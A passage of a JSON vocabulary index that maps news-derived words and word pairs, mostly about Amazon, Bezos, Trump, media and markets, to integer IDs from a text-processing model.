"bormel": 207753, "amistad": 207754, "enriched tiny": 207755, "clos": 207756, "greatest exports": 207757, "social ill": 207758, "nfl patterson": 207759, "american costumes": 207760, "aan": 207761, "deal based": 207762, "witnessing gonzalez": 207763, "hustle": 207764, "urge customers": 207765, "trump cleaning": 207766, "story alibaba": 207767, "initial dive": 207768, "treaty organization": 207769, "money power": 207770, "order books": 207771, "breaks better": 207772, "fighbird": 207773, "enjoy question": 207774, "silenced opposition": 207775, "time investors": 207776, "acrimonious": 207777, "times weighed": 207778, "biometrics": 207779, "described working": 207780, "journalists followed": 207781, "urge trump": 207782, "simple majority": 207783, "workers better": 207784, "wait words": 207785, "island citythe": 207786, "analytics channel": 207787, "crypto chip": 207788, "devos student": 207789, "swan mueller": 207790, "charges big": 207791, "create vast": 207792, "year dictatorship": 207793, "reacting": 207794, "deal saying": 207795, "cnnvideomanager getinstance": 207796, "commentator michael": 207797, "kundu rags": 207798, "setting expectations": 207799, "latest moves": 207800, "looked good": 207801, "retrieve": 207802, "underwithheld": 207803, "circulation": 207804, "battlegrounds posted": 207805, "typical national": 207806, "stauch norton": 207807, "openings include": 207808, "treating socialism": 207809, "sulzberger statement": 207810, "cruz heckled": 207811, "party wine": 207812, "stronger erections": 207813, "viral pelosi": 207814, "valley facebook": 207815, "anders": 207816, "nyc konst": 207817, "iran meant": 207818, "far haven": 207819, "couple device": 207820, "shipping expenses": 207821, "services oasas": 207822, "prompting amazon": 207823, "evaded": 207824, "daughter health": 207825, "2018 mothers": 207826, "finance data": 207827, "5m enabling": 207828, "ext medium": 207829, "tax fairness": 207830, "content platform": 207831, "coloring books": 207832, "overall": 207833, "stock surge": 207834, "fbi headquarters": 207835, "stock decreased": 207836, "rex tillerson": 207837, "cost works": 207838, "carrier professor": 207839, "robert muller": 207840, "neglect": 207841, "detroit": 207842, "dumped netflix": 207843, "2018 aws": 207844, "day hope": 207845, "cristina alesci": 207846, "matrimonial": 207847, "individual chefs": 207848, "johnson cnn": 207849, "140 points": 207850, "shipping partner": 207851, "pedo rescue": 207852, "sales rose": 207853, "filed antitrust": 207854, "ndm1pvknzp": 207855, "sitting quietly": 207856, "eviction": 207857, "story rising": 207858, "trump accused": 207859, "onerous process": 207860, "humble everyman": 207861, "warning signs": 207862, "helped reassure": 207863, "offset higher": 207864, "fund project": 207865, "nyse cbg": 207866, "zinke did": 207867, "winning novel": 207868, "woff": 207869, "amazon bob": 207870, "duped double": 207871, "manageable size": 207872, "new senators": 207873, "290 long": 207874, "jack witzig": 207875, "cattle raisers": 207876, "betrayals sex": 207877, "publish bezos": 207878, "domain radar": 207879, "somewhat reduce": 207880, "mdf": 207881, "disruptions": 207882, "omid malekan": 207883, "lauren bacall": 207884, "photoessayslides": 207885, "virginia ohio": 207886, "political material": 207887, "capitalists": 207888, "amazon guarantees": 207889, "connects manhattan": 207890, "merged": 207891, "leave mackenzie": 207892, "pulse infuriated": 207893, "438": 207894, "haaretz": 207895, "59m criticizes": 207896, "second guess": 207897, "keeping massive": 207898, "early mover": 207899, "abortive amazon": 207900, "specific anecdotes": 207901, "amazon banned": 207902, "tariffs gm": 207903, "easier task": 207904, "computing bidding": 207905, "baby phoenix": 207906, "q2 results": 207907, "group aclu": 207908, "hosts backups": 207909, "jews": 207910, "companies morethough": 207911, "drone ception": 207912, "smoke weed": 207913, "promotional offer": 207914, "manager brad": 207915, "diverges": 207916, "mccarthyhouse": 207917, "means donald": 207918, "fron": 207919, "dividing large": 207920, "trump allies": 207921, "amzn reportedly": 207922, "investigation capitol": 207923, "sold 929": 207924, "site click": 207925, "high bandwidth": 207926, "iron": 207927, "email letters": 207928, "wyden": 207929, "amazon visited": 207930, "voluntarily": 207931, "series broadway": 207932, "appeal chukumba": 207933, "great honor": 207934, "idyllic home": 207935, "stay green": 207936, "postponed npr": 207937, "corporations amazon": 207938, "633a4f8c129d": 207939, "stakes summit": 207940, "huseman immediately": 207941, "428030 aut_base_filelocation": 207942, "housing looking": 207943, "padr\u00f3n president": 207944, "positions expedia": 207945, "administration earlier": 207946, "guidelines outline": 207947, "losing ratings": 207948, "rapid shift": 207949, "pr response": 207950, "domestic spending": 207951, "head movement": 207952, "air ocean": 207953, "conservative content": 207954, "trump direction": 207955, "congratulated": 207956, "elected general": 207957, "negotiate price": 207958, "testing number": 207959, "zedong pol": 207960, "relax combined": 207961, "course tycoon": 207962, "quarterly predicts": 207963, "term fundamentals": 207964, "2019 golden": 207965, "trending today": 207966, "isn included": 207967, "selling kids": 207968, "rationale brian": 207969, "wrath trump": 207970, "startup convoy": 207971, "increased wariness": 207972, "offending": 207973, "cultural divide": 207974, "illegals": 207975, "actress eve": 207976, "additional lanes": 207977, "corporate subterfuge": 207978, "field assignment": 207979, "piece dishwasher": 207980, "shares dipped": 207981, "hippies": 207982, "citi thinks": 207983, "thiel free": 207984, "award procurement": 207985, "vampiric relationship": 207986, "publisher frederick": 207987, "workers need": 207988, "broadcast earlier": 207989, "spent lot": 207990, "photography": 207991, "reasonable immigration": 207992, "ruling pertaining": 207993, "bakery": 207994, "network remains": 207995, "attorney norah": 207996, "borders qualifying": 207997, "2005 nestled": 207998, "overcame marginal": 207999, "deliberately promoted": 208000, "7i0r4xht9m": 208001, "trump simple": 208002, "royal family": 208003, "brand vans": 208004, "newspaper ownership": 208005, "battled": 208006, "popular paid": 208007, "surveillance information": 208008, "037 shares": 208009, "pound dollar": 208010, "ceremonially": 208011, "facing political": 208012, "singing pen": 208013, "government 2018": 208014, "amazon doesn": 208015, "ceo elon": 208016, "strongly oppose": 208017, "committed pro": 208018, "delivery guarantee": 208019, "government plan": 208020, "polarizing issues": 208021, "lock box": 208022, "panel discussion": 208023, "plays": 208024, "track gideon": 208025, "lucrative local": 208026, "screams": 208027, "facebook platform": 208028, "hurricane response": 208029, "d4e rebel": 208030, "good late": 208031, "chuck grassley": 208032, "harmful biases": 208033, "balanced": 208034, "recognizing": 208035, "advertising executive": 208036, "internet service": 208037, "putting restrictions": 208038, "water wings": 208039, "armed services": 208040, "tech geek": 208041, "cases populism": 208042, "user registeredin": 208043, "confess": 208044, "rescuer": 208045, "quarter cibc": 208046, "nth": 208047, "house judiciary": 208048, "pulverize trump": 208049, "economic vision": 208050, "dartmouth": 208051, "warehouse just": 208052, "called kyrsten": 208053, "girlfriend leaked": 208054, "rents partnering": 208055, "a4ee s8": 208056, "bay wis": 208057, "witness tampering": 208058, "really game": 208059, "york officials": 208060, "rebekah peppler": 208061, "zte": 208062, "things donald": 208063, "winded": 208064, "watched prepare": 208065, "charles rettig": 208066, "combat abusive": 208067, "ecological disaster": 208068, "vintage waterproof": 208069, "market dominating": 208070, "benefits fund": 208071, "videocmsurl videos": 208072, "jshapiro": 208073, "marquette team": 208074, "entire program": 208075, "press creole": 208076, "sol reserve": 208077, "lenders including": 208078, "pricey home": 208079, "fundamental change": 208080, "181": 208081, "escort": 208082, "mein": 208083, "proving collusion": 208084, "foot campus": 208085, "calls self": 208086, "collins murkowski": 208087, "mounted twitter": 208088, "founder wealth": 208089, "wrote hanson": 208090, "talks amazon": 208091, "nyse vmw": 208092, "did ami": 208093, "today drop": 208094, "ranking connections": 208095, "technology leading": 208096, "tax bases": 208097, "inflation low": 208098, "naacp equity": 208099, "mcmillan": 208100, "konst recently": 208101, "newsroom": 208102, "fretted": 208103, "heather babb": 208104, "president nova": 208105, "maher photo": 208106, "work jeff": 208107, "north koreans": 208108, "safe online": 208109, "far amazon": 208110, "viewreport": 208111, "company realme": 208112, "home state": 208113, "outcome realize": 208114, "employees receive": 208115, "company failure": 208116, "watson holds": 208117, "peddling fake": 208118, "new phase": 208119, "central focus": 208120, "revenue forecasts": 208121, "stickier": 208122, "attuned author": 208123, "think markets": 208124, "starbucks reserve": 208125, "2016 lows": 208126, "perfect opportunity": 208127, "bet nicki": 208128, "advise company": 208129, "elections graduates": 208130, "jquery articleelem": 208131, "greenhouse": 208132, "cyclical": 208133, "better watch": 208134, "rise disclosures": 208135, "gerrymandered 9th": 208136, "company captures": 208137, "bowen": 208138, "microsoft profit": 208139, "capitalization increased": 208140, "upper 80s": 208141, "bezos accomplishments": 208142, "exclusive source": 208143, "opinions grateful": 208144, "headquarters bringing": 208145, "level required": 208146, "opened mini": 208147, "badly outnumbered": 208148, "retailers showed": 208149, "theodore": 208150, "prue": 208151, "kids beginning": 208152, "enforcement particularly": 208153, "unrestrained": 208154, "tech regulator": 208155, "self defense": 208156, "says reuters": 208157, "nikkei tumbled": 208158, "owns 531": 208159, "resurgence": 208160, "render": 208161, "jobs commitment": 208162, "room thumb": 208163, "spring accusing": 208164, "large institutions": 208165, "indigenous lands": 208166, "citing person": 208167, "announcement leaving": 208168, "florida supervisors": 208169, "negotiating table": 208170, "analytical": 208171, "statement american": 208172, "author rebecca": 208173, "reshoring tariffs": 208174, "alexa plays": 208175, "median pay": 208176, "valuation 2018": 208177, "jenni": 208178, "ben cutting": 208179, "rogin": 208180, "notable republicans": 208181, "report revisions": 208182, "current position": 208183, "amazon cardboard": 208184, "bias levied": 208185, "open society": 208186, "online peak": 208187, "haven amounted": 208188, "stock rating": 208189, "sessions takes": 208190, "tough election": 208191, "limousines america": 208192, "exploring sale": 208193, "weather kelly": 208194, "coin offerings": 208195, "infrastructure support": 208196, "farm states": 208197, "order best": 208198, "announced ahead": 208199, "videotape contessa": 208200, "powerful tech": 208201, "amazon controls": 208202, "ruling handed": 208203, "progressively flat": 208204, "execution content": 208205, "dioxide hit": 208206, "lower taxes": 208207, "monopoly status": 208208, "watch going": 208209, "abandoned tucson": 208210, "overpriced cloud": 208211, "wealth took": 208212, "inch base": 208213, "architectures carlson": 208214, "splitting aws": 208215, "job approval": 208216, "customer starting": 208217, "splurge wine": 208218, "registration everytown": 208219, "crying": 208220, "controversial choice": 208221, "handsome payments": 208222, "amazon multiple": 208223, "deal weren": 208224, "wiz": 208225, "think overall": 208226, "abramson listed": 208227, "smarter": 208228, "marketing models": 208229, "matter gm": 208230, "bills accountants": 208231, "relatively old": 208232, "regularly sends": 208233, "despite second": 208234, "team victory": 208235, "information thatwe": 208236, "union practices": 208237, "recent trading": 208238, "bullard": 208239, "oversight council": 208240, "nikkei gains": 208241, "cultivator tilray": 208242, "company plugable": 208243, "metres ice": 208244, "affair investigation": 208245, "mazzilli": 208246, "biggest retail": 208247, "ridiculed new": 208248, "red mccain": 208249, "veteran seattle": 208250, "head butting": 208251, "international post": 208252, "bezos contact": 208253, "192 nation": 208254, "twitter missing": 208255, "\u014235billion charitable": 208256, "tac": 208257, "gold dropped": 208258, "hill etsy": 208259, "rules corporations": 208260, "npd bookscan": 208261, "power gives": 208262, "total bear": 208263, "727 605": 208264, "startdate 2f4": 208265, "days according": 208266, "ruffle": 208267, "amazon support": 208268, "ryan stumbles": 208269, "rana": 208270, "series embedded": 208271, "related agencies": 208272, "administration coverage": 208273, "protect consumers": 208274, "joined netflix": 208275, "mangled worst": 208276, "paris banlieues": 208277, "billionaire sam": 208278, "china hawk": 208279, "relaxation": 208280, "cables": 208281, "request saying": 208282, "scrapped new": 208283, "roker": 208284, "old rate": 208285, "showlogo true": 208286, "dispelling myths": 208287, "trumps china": 208288, "cap 920": 208289, "celebrity best": 208290, "wall live": 208291, "toughest criticism": 208292, "personal advice": 208293, "donald america": 208294, "involves matching": 208295, "amazon promises": 208296, "member bezos": 208297, "explored majestic": 208298, "unions kicked": 208299, "national search": 208300, "start vetting": 208301, "suggesting bottle": 208302, "file sharing": 208303, "slas": 208304, "shines": 208305, "customers stopped": 208306, "ttwo": 208307, "usps proposes": 208308, "lead plaintiffs": 208309, "daughter line": 208310, "feeling little": 208311, "government bezos": 208312, "shutdown reality": 208313, "inaccurately": 208314, "better educated": 208315, "cotton": 208316, "media outlets": 208317, "advertising companies": 208318, "travel taxi2airport": 208319, "resisted noting": 208320, "entire economic": 208321, "exhausting 600": 208322, "force hopes": 208323, "bezos punted": 208324, "editorial positions": 208325, "bullies": 208326, "ramp": 208327, "212": 208328, "echo personal": 208329, "hyde economy": 208330, "things coming": 208331, "national scene": 208332, "banks google": 208333, "nygren": 208334, "bezos accusation": 208335, "mean wow": 208336, "vehement opposition": 208337, "receives public": 208338, "buckey": 208339, "say bezos": 208340, "smart acquisition": 208341, "questions swirl": 208342, "mass surveillance": 208343, "peak market": 208344, "inviting manufacturers": 208345, "republican young": 208346, "make bezos": 208347, "logic": 208348, "div group": 208349, "usable john": 208350, "loud cheers": 208351, "giving": 208352, "healthy families": 208353, "apple based": 208354, "ryan schmid": 208355, "enjoying low": 208356, "programme certain": 208357, "united state": 208358, "tarnish": 208359, "licensed realtor": 208360, "transactional development": 208361, "losses china": 208362, "flagrant ethics": 208363, "hydroponic": 208364, "isn run": 208365, "daily source": 208366, "rural areas": 208367, "growth expectation": 208368, "facing roadblocks": 208369, "postal prices": 208370, "amazon jitters": 208371, "housing subsidies": 208372, "exercising monopoly": 208373, "personalized fashion": 208374, "telltale charts": 208375, "shareholder selection": 208376, "taxpayer subsidy": 208377, "history best": 208378, "tv anchor": 208379, "tonight sara": 208380, "mcguire": 208381, "sign licensing": 208382, "partly lifted": 208383, "peak": 208384, "filed protests": 208385, "slamming ami": 208386, "rochester charlotte": 208387, "including political": 208388, "blue mexican": 208389, "delighted": 208390, "bolden stories": 208391, "recently criticized": 208392, "company future": 208393, "sides tried": 208394, "map iq": 208395, "enquirer set": 208396, "pricey": 208397, "hanks bezos": 208398, "uncovered kevin": 208399, "people doorsteps": 208400, "trump frustration": 208401, "quandary buying": 208402, "retail giant": 208403, "share allows": 208404, "results according": 208405, "year brought": 208406, "actively engaged": 208407, "fair reported": 208408, "mortals know": 208409, "feel abortion": 208410, "gaga sleep": 208411, "assange arrest": 208412, "guffaws": 208413, "investors bullishness": 208414, "mocking tweet": 208415, "technology fee": 208416, "europe leaders": 208417, "kate hudson": 208418, "city20": 208419, "america appetite": 208420, "based start": 208421, "isqueue": 208422, "business record": 208423, "netflix latest": 208424, "internet providers": 208425, "breaches": 208426, "amazon tries": 208427, "administration portraying": 208428, "ideology": 208429, "ensued": 208430, "partner rean": 208431, "happy david": 208432, "deal calling": 208433, "criminal misconduct": 208434, "despite losing": 208435, "analysts generally": 208436, "alicia glen": 208437, "reproduced distributed": 208438, "story va": 208439, "digit margin": 208440, "inc_meta_keywords jeff": 208441, "rep elect": 208442, "automated tracking": 208443, "nyc pullout": 208444, "including past": 208445, "block ucla": 208446, "really terrific": 208447, "movement decade": 208448, "edges bezos": 208449, "legionnaires disease": 208450, "scrutinizing postal": 208451, "wrongful death": 208452, "insider things": 208453, "bhel": 208454, "executive interviewed": 208455, "tap reference": 208456, "disqualification": 208457, "000 miles": 208458, "unprecedented money": 208459, "retail flailing": 208460, "fuel cell": 208461, "clearly loved": 208462, "meddling putin": 208463, "hq plans": 208464, "heating": 208465, "yields refund": 208466, "team crystal": 208467, "perpetrator bezos": 208468, "prevent companies": 208469, "shoppers rate": 208470, "flanked": 208471, "walker chris": 208472, "winter weather": 208473, "board members": 208474, "proposal fits": 208475, "detrimental": 208476, "midterms nevada": 208477, "beating": 208478, "image region": 208479, "strategic tr": 208480, "news operation": 208481, "author paul": 208482, "immunity deal": 208483, "mta": 208484, "soon ziedins": 208485, "successful defense": 208486, "jousts": 208487, "trunks naked": 208488, "accounts compromised": 208489, "jeff blattner": 208490, "youtube music": 208491, "thon": 208492, "intimidating workplace": 208493, "leading political": 208494, "gently skewer": 208495, "wit hillary": 208496, "gummies": 208497, "amazon pitched": 208498, "completed br": 208499, "saw evidence": 208500, "london baker": 208501, "freakin": 208502, "maybealleviate": 208503, "crony newt": 208504, "canada north": 208505, "committee meeting": 208506, "earnings android": 208507, "strong corporate": 208508, "combine world": 208509, "federal acquisitions": 208510, "sweating brexit": 208511, "helps pad": 208512, "challenge trump": 208513, "theenquirer obtained": 208514, "latest installment": 208515, "parties stick": 208516, "sheila thomas": 208517, "benchmark": 208518, "old snapchat": 208519, "robust existing": 208520, "238 million": 208521, "including ray": 208522, "causes family": 208523, "analysts jason": 208524, "presidents told": 208525, "mac kenzie": 208526, "nope": 208527, "1972 aged": 208528, "hear leaders": 208529, "beds": 208530, "just lobbying": 208531, "elizabeth ii": 208532, "budhraja": 208533, "psych": 208534, "charging big": 208535, "volkskrant": 208536, "party committee": 208537, "interdiction": 208538, "hindu business": 208539, "fascists": 208540, "substances called": 208541, "svs": 208542, "weird times": 208543, "devicesall": 208544, "holiday season": 208545, "profits trumps": 208546, "breaking stories": 208547, "registers": 208548, "sale date": 208549, "include attorney": 208550, "state net": 208551, "flourish": 208552, "comments lack": 208553, "new members": 208554, "sarlin": 208555, "israel leaders": 208556, "retail heavyweights": 208557, "stunning reversal": 208558, "turn shane": 208559, "big jobs": 208560, "network llc": 208561, "resume operations": 208562, "amazon grapples": 208563, "looked sounded": 208564, "half solutions": 208565, "facebooks historic": 208566, "civic technologist": 208567, "mta huge": 208568, "humans": 208569, "stock picking": 208570, "analyzed": 208571, "sdny investigation": 208572, "higher level": 208573, "driving intense": 208574, "nation coffers": 208575, "future feared": 208576, "world tweeted": 208577, "bartiromo atif": 208578, "athletes celebrities": 208579, "howard struck": 208580, "official cdc": 208581, "rung emails": 208582, "technician amazon": 208583, "null inc_hide_article_sidebarflag": 208584, "perform higher": 208585, "sanchez michael": 208586, "delong flying": 208587, "school 19th": 208588, "publisher cnn": 208589, "sleaze dial": 208590, "2017 towns": 208591, "2016 omnibus": 208592, "prospering": 208593, "retailers eventually": 208594, "trumponomics inside": 208595, "robust 218": 208596, "trump accidentally": 208597, "lengthy thriller": 208598, "programming economist": 208599, "dalykyle nancy": 208600, "cable newswers": 208601, "rezonings": 208602, "sir waters": 208603, "hatam": 208604, "help things": 208605, "politics aside": 208606, "jeffries hasn": 208607, "deemed impossible": 208608, "community blowback": 208609, "recent jolts": 208610, "global stability": 208611, "month just": 208612, "equally sized": 208613, "fact fought": 208614, "doesn know": 208615, "233 billion": 208616, "transgender americans": 208617, "troy balderson": 208618, "territorial": 208619, "donnelly clients": 208620, "negotiations constituted": 208621, "expos\u0449\u0430of": 208622, "ebitda globenewswire": 208623, "pollack 2018": 208624, "man current": 208625, "laughs old": 208626, "new initiative": 208627, "model trump": 208628, "dankest": 208629, "widely considered": 208630, "week itwas": 208631, "planned split": 208632, "advisory firm": 208633, "different projects": 208634, "sarah smarsh": 208635, "agency seeks": 208636, "renegotiated": 208637, "building massively": 208638, "privacy argument": 208639, "generally": 208640, "murdoch news": 208641, "reliable sources": 208642, "nba player": 208643, "400": 208644, "rematch": 208645, "acquisition": 208646, "tgt free": 208647, "advertising division": 208648, "speed adoption": 208649, "performance improves": 208650, "treat corporate": 208651, "haaretz newspaper": 208652, "promised job": 208653, "aliya": 208654, "replica": 208655, "fiction correcting": 208656, "ultimately helping": 208657, "avoid anothergovernment": 208658, "contracting experts": 208659, "sad day": 208660, "nefarious personal": 208661, "malley": 208662, "dc including": 208663, "measure function": 208664, "price quality": 208665, "gala dinner": 208666, "mcnicholas director": 208667, "indirect loss": 208668, "legendary coach": 208669, "15th 2018": 208670, "seek employment": 208671, "poodle list": 208672, "facebook messages": 208673, "offers dozens": 208674, "bay capital": 208675, "s8i i8": 208676, "recommend fixes": 208677, "trade interests": 208678, "work culture": 208679, "tm 2018": 208680, "valley biggest": 208681, "reaping benefits": 208682, "nose little": 208683, "know going": 208684, "underage children": 208685, "mail company": 208686, "krupnick": 208687, "unruly": 208688, "policy intelligence": 208689, "diets": 208690, "close advisors": 208691, "message amazon": 208692, "rights just": 208693, "recently believe": 208694, "billion range": 208695, "restrooms": 208696, "becker lawyer": 208697, "deal nonetheless": 208698, "did exceptional": 208699, "court atomwaffen": 208700, "upends golan": 208701, "wide platform": 208702, "source new": 208703, "sports music": 208704, "trading early": 208705, "sensing trend": 208706, "simplicity virgil": 208707, "requesting seat": 208708, "irritation": 208709, "manufacturing iphones": 208710, "telling abc": 208711, "inventing": 208712, "packing bit": 208713, "base fare": 208714, "deputy postmaster": 208715, "long portfolio": 208716, "baiting": 208717, "incredibly excited": 208718, "saying shows": 208719, "choose character": 208720, "chain": 208721, "business people": 208722, "losing steam": 208723, "2012 homeowners": 208724, "reserve special": 208725, "assessment": 208726, "secretary takes": 208727, "signals": 208728, "distrustful": 208729, "vision mission": 208730, "declining circulation": 208731, "google settled": 208732, "mail employee": 208733, "develop legislation": 208734, "century idea": 208735, "consumers control": 208736, "mccain told": 208737, "westnead": 208738, "brooklyn borough": 208739, "host blames": 208740, "trump participated": 208741, "accuracy face": 208742, "asked mayor": 208743, "finely calibrated": 208744, "users post": 208745, "raad": 208746, "handicap mode": 208747, "girls afraid": 208748, "amazon uber": 208749, "presbyterian": 208750, "autonomous": 208751, "accounting incremental": 208752, "need closer": 208753, "fundamentals remain": 208754, "false muteoverlayclicked": 208755, "mortgage financial": 208756, "picker nyse": 208757, "initially seen": 208758, "getting billions": 208759, "banking division": 208760, "grousing": 208761, "year brings": 208762, "tump antitrust": 208763, "china xi": 208764, "npr government": 208765, "year regardless": 208766, "directly hired": 208767, "dodge mobile": 208768, "important questions": 208769, "time thomson": 208770, "j8i": 208771, "spokeswoman says": 208772, "seriously considered": 208773, "270 000": 208774, "crossing rt": 208775, "facebook posted": 208776, "losing access": 208777, "110": 208778, "latvia singapore": 208779, "facebook settled": 208780, "emergency senate": 208781, "times michael": 208782, "organized petitions": 208783, "chairman directly": 208784, "interesting right": 208785, "council reports": 208786, "rain little": 208787, "chicago food": 208788, "formal anti": 208789, "coffee redesigned": 208790, "reprogrammed": 208791, "homeless congresswomen": 208792, "post titled": 208793, "clicked contact": 208794, "kowalick wichita": 208795, "clothes trump": 208796, "nonprofits": 208797, "celebrated murderess": 208798, "increased annually": 208799, "rescue operations": 208800, "clip rep": 208801, "corrupt facebook": 208802, "criminality": 208803, "prominent neighbor": 208804, "overturns roe": 208805, "greggjarrett": 208806, "firm action": 208807, "bezos cited": 208808, "walmart partially": 208809, "portrayals": 208810, "rise alongside": 208811, "peralta": 208812, "column bezos": 208813, "session skid": 208814, "benefits healthcare": 208815, "today iranian": 208816, "spec fbi": 208817, "currently undertake": 208818, "accidental": 208819, "existing carriers": 208820, "district small": 208821, "sentiment decreased": 208822, "005930": 208823, "amazon emblazoned": 208824, "stock keeps": 208825, "explicitly saying": 208826, "continue probes": 208827, "department waivers": 208828, "levers": 208829, "trilogy directed": 208830, "banning reporters": 208831, "florence wrath": 208832, "relatively cold": 208833, "amgen nasdaq": 208834, "ellis told": 208835, "challenger liberal": 208836, "law reuters": 208837, "worked perfectly": 208838, "violence houston": 208839, "188": 208840, "peter schweizer": 208841, "collins ivanka": 208842, "slaps new": 208843, "moeller macro": 208844, "times company": 208845, "real products": 208846, "remembering president": 208847, "economic disparities": 208848, "reform eu": 208849, "beleived": 208850, "tribune media": 208851, "court ruled": 208852, "dear white": 208853, "social ties": 208854, "closing thousands": 208855, "senate democrats": 208856, "brazil energy": 208857, "women safe": 208858, "hailing company": 208859, "recent results": 208860, "society santos": 208861, "warren millionaire": 208862, "listen": 208863, "force fed": 208864, "sec private": 208865, "airline stocks": 208866, "distractors": 208867, "definitely makes": 208868, "criticized mccain": 208869, "moser thanks": 208870, "actually delivering": 208871, "point testimony": 208872, "flight software": 208873, "blue shirt": 208874, "dutch prime": 208875, "lunch years": 208876, "agricultural exports": 208877, "quicker ground": 208878, "products surpassing": 208879, "musk acted": 208880, "business loan": 208881, "surveillance equipment": 208882, "ami ties": 208883, "bauer 2016": 208884, "grumbling": 208885, "alex abramovich": 208886, "2019 cringely": 208887, "stock voting": 208888, "trump nov": 208889, "peele says": 208890, "reporters investigating": 208891, "indian state": 208892, "concludes": 208893, "inspiring triumph": 208894, "increase costs": 208895, "activity pressure": 208896, "thomson easley": 208897, "time sold": 208898, "items seized": 208899, "make comments": 208900, "hardline": 208901, "sql": 208902, "conversations brennan": 208903, "sourcebusiness": 208904, "names business": 208905, "stop doing": 208906, "amicably": 208907, "intimidation attempt": 208908, "potential misuse": 208909, "closure stifling": 208910, "renewing pressure": 208911, "old city": 208912, "cardy": 208913, "0723et copyright": 208914, "company controversial": 208915, "thornton": 208916, "classic font": 208917, "cortez celebrated": 208918, "allegations tweet": 208919, "spooked": 208920, "underwood": 208921, "considering antitrust": 208922, "terri": 208923, "waterproof canvas": 208924, "actual guarantee": 208925, "sudden ascendance": 208926, "heads plenty": 208927, "hell unfettered": 208928, "spacex rocket": 208929, "clear pretty": 208930, "word leaked": 208931, "rodriguez helped": 208932, "products branded": 208933, "estimates 600": 208934, "single transaction": 208935, "resiliency": 208936, "enforced gun": 208937, "rolex": 208938, "power setting": 208939, "wh titles": 208940, "2020 nutanix": 208941, "separate headquarters": 208942, "specific substances": 208943, "favourable demographics": 208944, "saul follows": 208945, "known survivor": 208946, "nationally": 208947, "enforcement identify": 208948, "amazon movie": 208949, "deprecating humour": 208950, "confusion": 208951, "eu ambassadors": 208952, "alongside matthew": 208953, "inspected": 208954, "sheela": 208955, "jay": 208956, "ryanafournier": 208957, "mile driven": 208958, "chairman tells": 208959, "initially hailed": 208960, "volume prices": 208961, "limits sticking": 208962, "amazon happens": 208963, "service calling": 208964, "retrospect": 208965, "600 seat": 208966, "allegations preceded": 208967, "food retail": 208968, "sucharita": 208969, "systematic way": 208970, "appear reluctant": 208971, "bolsonaro discourse": 208972, "conservative michael": 208973, "giving single": 208974, "john reilly": 208975, "just watched": 208976, "content quality": 208977, "duffy weekend": 208978, "newman twitter": 208979, "decisions fast": 208980, "accusations london": 208981, "costumes beautiful": 208982, "republican momentum": 208983, "maintain post": 208984, "litigation costs": 208985, "jardim": 208986, "calling reports": 208987, "barbra": 208988, "higher barrier": 208989, "sees potential": 208990, "deadpanned defending": 208991, "toronto flickr": 208992, "obsessive target": 208993, "investigate democrats": 208994, "council member": 208995, "content rupert": 208996, "morality sitcom": 208997, "shop google": 208998, "daniels 130": 208999, "wasserman mike": 209000, "weekly edition": 209001, "matters ig": 209002, "steered dozens": 209003, "longer exclusively": 209004, "people sources": 209005, "diplomas versus": 209006, "company following": 209007, "technically filed": 209008, "million 145": 209009, "quarter bluefin": 209010, "government servers": 209011, "amazon costs": 209012, "outside parties": 209013, "collusion read": 209014, "google senior": 209015, "inadequate information": 209016, "hotels blaming": 209017, "inc_feature_image_override inc_feature_image_background_color_override": 209018, "weirder": 209019, "heller": 209020, "preservation": 209021, "don belong": 209022, "related sites": 209023, "faces questions": 209024, "street values": 209025, "past attacks": 209026, "charities": 209027, "symantec corp": 209028, "alucard": 209029, "special emphasis": 209030, "helps users": 209031, "later worked": 209032, "sasquatch music": 209033, "freeman apologized": 209034, "tannehill": 209035, "technologies built": 209036, "chairman jerry": 209037, "packages including": 209038, "east harlem": 209039, "witty cynical": 209040, "fraternity hazing": 209041, "hard nosed": 209042, "formation 2018": 209043, "taken wave": 209044, "reviews attached": 209045, "large claim": 209046, "vehicles second": 209047, "nick mcdonell": 209048, "processes": 209049, "pandora": 209050, "search market": 209051, "cases consumers": 209052, "attack lines": 209053, "rescinded": 209054, "cities make": 209055, "2018 tax": 209056, "generation bezos": 209057, "possible record": 209058, "considered launching": 209059, "including lynette": 209060, "longing": 209061, "experts celebrities": 209062, "chance rudy": 209063, "devotees flooding": 209064, "planet variant": 209065, "author scott": 209066, "inappropriately": 209067, "2019 yes": 209068, "indoor plumbing": 209069, "hispanics voted": 209070, "summon": 209071, "bs quote": 209072, "content services": 209073, "opening pandora": 209074, "wear various": 209075, "multiple reports": 209076, "unconventional": 209077, "grammys": 209078, "prohibiting": 209079, "launch rocket": 209080, "breaking amazon": 209081, "washington correspondent": 209082, "small market": 209083, "shipping problems": 209084, "admired": 209085, "hate relationship": 209086, "women scientists": 209087, "psc decals": 209088, "care plan": 209089, "tokyo 2020": 209090, "naz deravian": 209091, "schiff science": 209092, "added griffeth": 209093, "fuel house": 209094, "ryanpaul": 209095, "election eve": 209096, "consultation 98point6": 209097, "amazon includes": 209098, "chief injured": 209099, "charming handwritten": 209100, "explosive device": 209101, "amazon exercise": 209102, "shill": 209103, "bush announced": 209104, "raging amazon": 209105, "increasingly heated": 209106, "banned industrial": 209107, "protect dreamers": 209108, "medium strip": 209109, "helped fuel": 209110, "microsd cards": 209111, "did trade": 209112, "algeria": 209113, "trump sticking": 209114, "monopoly crony": 209115, "interviewed willie": 209116, "accenture": 209117, "giraffe": 209118, "factbox": 209119, "public acceptance": 209120, "979326715272065024": 209121, "hispanics barely": 209122, "wealth severe": 209123, "trump renegotiation": 209124, "development director": 209125, "reporting covering": 209126, "clarify comments": 209127, "started published": 209128, "global vice": 209129, "legislation cracking": 209130, "dina": 209131, "long skirts": 209132, "tax income": 209133, "famine syria": 209134, "comey loyalty": 209135, "identity using": 209136, "amazon list": 209137, "story fed": 209138, "shippers billions": 209139, "stalemate": 209140, "lofty threshold": 209141, "bezos donated": 209142, "holds 337": 209143, "griff jenkins": 209144, "poke": 209145, "sacrificing": 209146, "hotseller": 209147, "eero team": 209148, "country acting": 209149, "stories hear": 209150, "piece relied": 209151, "vox trump": 209152, "tolerant temperatures": 209153, "company stores": 209154, "withstand": 209155, "agencies decide": 209156, "moments disney": 209157, "unique word": 209158, "elected trump": 209159, "samantha vinograd": 209160, "saying google": 209161, "provides guidelines": 209162, "pre fab": 209163, "eliminate rebates": 209164, "smith marvel": 209165, "president takes": 209166, "children development": 209167, "strongly denied": 209168, "asign": 209169, "unless read": 209170, "donations handle": 209171, "sozzi": 209172, "zappos": 209173, "border children": 209174, "deleting": 209175, "talton jtalton": 209176, "annually compared": 209177, "export article37487877": 209178, "rwg1yjnwzh": 209179, "post recently": 209180, "murdered": 209181, "criteria won": 209182, "case remains": 209183, "fourth year": 209184, "winners": 209185, "largest car": 